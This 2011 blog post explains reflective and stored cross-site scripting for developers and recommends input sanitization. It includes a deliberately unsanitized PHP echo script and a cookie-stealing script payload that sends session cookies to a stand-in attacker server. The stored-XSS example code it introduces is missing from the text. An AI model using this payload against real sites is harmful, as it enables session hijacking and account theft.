Friday, August 5, 2011

Cross Site Scripting (XSS) Attacks and Why We Should Care

Web applications are always becoming more and more complex. For many, trying to constantly push out new features as quickly as possible is causing security to be put at the back-burner of the development process. This could occur for a number of reasons including small development budgets, tight deadlines, and general unawareness of best security practices to name a few.

The result of not taking security seriously when developing software leads to vulnerabilities which put not only the organizations systems, but also potentially its reputation and customer's personal data at risk. This is largely the case when it comes to web-application vulnerabilities. There are many types of these vulnerabilities, but, for the sake of this article, we will cover a particular type of input validation vulnerability called Cross-Site Scripting (XSS) attacks.

Input validation vulnerabilities occur when user-input that is submitted to a website is not sanitized. There are many types of input validation attacks including (but not limited to) SQL Injection, XSS, File Inclusion (both Local and Remote), and system command injection (or Shell injection). These attacks are heavily used because of how many applications are still vulnerable as well as the ease of exploitation and the immediate impact that exploiting these vulnerabilities has.

At their most basic level, input validation vulnerabilities allow attackers to use specially crafted input to cause the web-application to function differently than how its developer intended. Whether this be the ability to inject SQL commands that are sent unsanitized to a back-end database (SQL injection), or the ability to leverage file upload capabilities in the application to upload a PHP backdoor (Remote file inclusion), code injection attacks should be taken very seriously. But, let's focus on XSS.

Cross-Site Scripting (XSS) attacks occur when user input is not sanitized and then echoed back to the user somehow. There are three types of XSS attacks: Reflective, Stored, and DOM injection. The two that will be covered here are reflective and stored XSS attacks.

Reflective XSS attacks are the easiest to exploit, because they simply involve the attacker getting the victim to send specially crafted information to a web-server in order to exploit the victim. Consider the following PHP script called "xss.php":

<?php
echo $_GET['userinput'];
?>

We see here that given the path http://www.example.com/xss.php?userinput=INPUT will echo back to the user whatever was placed instead of INPUT. This is fine when standard text is inputted, but think of what would happen if an attacker got a user to click on the link: http://www.example.com/xss.php?userinput=<script>document.location="http://attackerserver.com/steal.php?data="%2Bdocument.cookie;</script>

As you can probably guess, this will send the current user's cookie to a malicious server controlled by the attacker who can then use this cookie to hijack the victim's session on the site. And this is only one particular example of exploiting this vulnerability. There are endless possibilities and ways that an attacker can leverage this exploit to steal information about a user, or force the user to perform actions on the attacker's behalf. Anything that can be done with Javascript can be utilized in this vulnerability, putting the client's personal data, and, in the case of heap-spraying attacks, the client's system at risk.

The other example of XSS attacks is arguably less common, but more dangerous and can impact a greater number of users when exploited. Stored (or "Persistent") XSS attacks occur when a user is allowed to store input on a webserver or database. This is commonly found in comment sections of content, as well as user profiles, discussion boards (forums), etc. Just like in reflective XSS, stored XSS vulnerabilities can be exploited when this input is not sanitized before being displayed back to the user (or, better practice in this case, before it is stored to the server). The difference between stored XSS and reflective XSS is that in the case of stored XSS, the vulnerability is exploited when any user attempts to view the information stored by another user.

Consider the following example: A web developer has just created the next big forum. As is standard in most forums, he/she allows members to post signatures at the end of each response. However, due to deadlines approaching quicker than expected, he/she forgot to sanitize the signatures before they are stored to the database, as well as when they are displayed back to the user. Everything goes well for the first couple of days, however the developer quickly starts getting complaints from members that their accounts had been breached. Thinking quickly, the web developer views the source on one of the complained about pages, and finds the following code in a member's signature:

This is commonly referred to as a "cookie stealer" because it is designed to send the user's session cookies to a remote server controlled by the attacker, where in this case the script "cookiestealer.php" will receive the session cookie and most likely either log it to a file with the URL to which it belongs for use by the attacker later, or the attacker could create a script that will automatically receive the cookie and keep the victim's session alive until the attacker can manually take control of the victim's session. This is a form of session hijacking.

It is important to note that while the theft of a user's session cookies can have a very large impact, it is just as easy for the attacker to exploit the vulnerability in countless other ways. One example of this would be to replace the HTML controlling a login form placed on the sidebar of the website to send the submitted credentials to a server controlled by the attacker. Then, the attacker wouldn't have to worry about keeping the victim's session alive, as he/she would be able to simply harvest the username/password of the user when the form is submitted.

As you can see, XSS attacks can have a profound impact on an organizations reputation and security, as well as the security of its customers. The mitigating factor is to adequately sanitize any and all input coming from the user. One of the primary rules when developing anything with a security mindset is: "The user cannot be trusted." This is important to remember to when creating applications, and can save you, your organization, and your customers a lot of headache in the future.